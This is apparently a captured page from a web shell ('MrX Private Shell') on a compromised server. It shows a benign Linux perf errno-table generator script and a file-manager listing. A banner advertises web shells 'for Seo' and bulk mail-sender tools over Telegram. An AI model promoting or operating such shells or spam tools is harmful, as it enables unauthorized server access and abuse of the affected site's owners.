__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0
#
# Generate C file mapping errno codes to errno names.
#
# Copyright IBM Corp. 2018
# Author(s):  Hendrik Brueckner <[email protected]>

gcc="$1"
toolsdir="$2"
include_path="-I$toolsdir/include/uapi"

arch_string()
{
	echo "$1" |sed -e 'y/- /__/' |tr '[[:upper:]]' '[[:lower:]]'
}

asm_errno_file()
{
	arch="$1"

	header="$toolsdir/arch/$arch/include/uapi/asm/errno.h"
	if test -r "$header"; then
		echo "$header"
	else
		echo "$toolsdir/include/uapi/asm-generic/errno.h"
	fi
}

create_errno_lookup_func()
{
	arch=$(arch_string "$1")

	printf "static const char *errno_to_name__%s(int err)\n{\n\tswitch (err) {\n" $arch

	while read name nr; do
		printf '\tcase %d: return "%s";\n' $nr $name
	done

	printf '\tdefault: return "(unknown)";\n\t}\n}\n'
}

process_arch()
{
	arch="$1"
	asm_errno=$(asm_errno_file "$arch")

	$gcc $CFLAGS $include_path -E -dM -x c $asm_errno \
		|grep -hE '^#define[[:blank:]]+(E[^[:blank:]]+)[[:blank:]]+([[:digit:]]+).*' \
		|awk '{ print $2","$3; }' \
		|sort -t, -k2 -nu \
		|IFS=, create_errno_lookup_func "$arch"
}

create_arch_errno_table_func()
{
	archlist="$1"
	default="$2"

	printf 'static arch_syscalls__strerrno_t *\n'
	printf 'arch_syscalls__strerrno_function(const char *arch)\n'
	printf '{\n'
	for arch in $archlist; do
		arch_str=$(arch_string "$arch")
		printf '\tif (!strcmp(arch, "%s"))\n' "$arch_str"
		printf '\t\treturn errno_to_name__%s;\n' "$arch_str"
	done
	arch_str=$(arch_string "$default")
	printf '\treturn errno_to_name__%s;\n' "$arch_str"
	printf '}\n'
}

cat <<EoHEADER
/* SPDX-License-Identifier: GPL-2.0 */

#include <string.h>

EoHEADER

# Create list of architectures that have a specific errno.h.
archlist=""
for f in $toolsdir/arch/*/include/uapi/asm/errno.h; do
	d=${f%/include/uapi/asm/errno.h}
	arch="${d##*/}"
	test -f $toolsdir/arch/$arch/include/uapi/asm/errno.h && archlist="$archlist $arch"
done

for arch in generic $archlist; do
	process_arch "$arch"
done
create_arch_errno_table_func "$archlist" "generic"

Filemanager

Name Type Size Permission Actions
tracepoints Folder 0755
arch_errno_names.sh File 1.99 KB 0755
clone.sh File 513 B 0755
drm_ioctl.sh File 626 B 0755
fadvise.sh File 836 B 0755
fs_at_flags.sh File 1.07 KB 0755
fsconfig.sh File 413 B 0755
fsmount.sh File 863 B 0755
fspick.sh File 510 B 0755
kcmp_type.sh File 343 B 0755
kvm_ioctl.sh File 523 B 0755
madvise_behavior.sh File 426 B 0755
mmap_flags.sh File 1.77 KB 0755
mmap_prot.sh File 1.16 KB 0755
mount_flags.sh File 763 B 0755
move_mount_flags.sh File 523 B 0755
mremap_flags.sh File 573 B 0755
perf_ioctl.sh File 455 B 0755
pkey_alloc_access_rights.sh File 458 B 0755
prctl_option.sh File 744 B 0755
rename_flags.sh File 606 B 0755
sndrv_ctl_ioctl.sh File 419 B 0755
sndrv_pcm_ioctl.sh File 419 B 0755
sockaddr.sh File 928 B 0755
socket.sh File 874 B 0755
statx_mask.sh File 808 B 0755
sync_file_range.sh File 502 B 0755
usbdevfs_ioctl.sh File 1.05 KB 0755
vhost_virtio_ioctl.sh File 840 B 0755
x86_arch_prctl.sh File 911 B 0755
Filemanager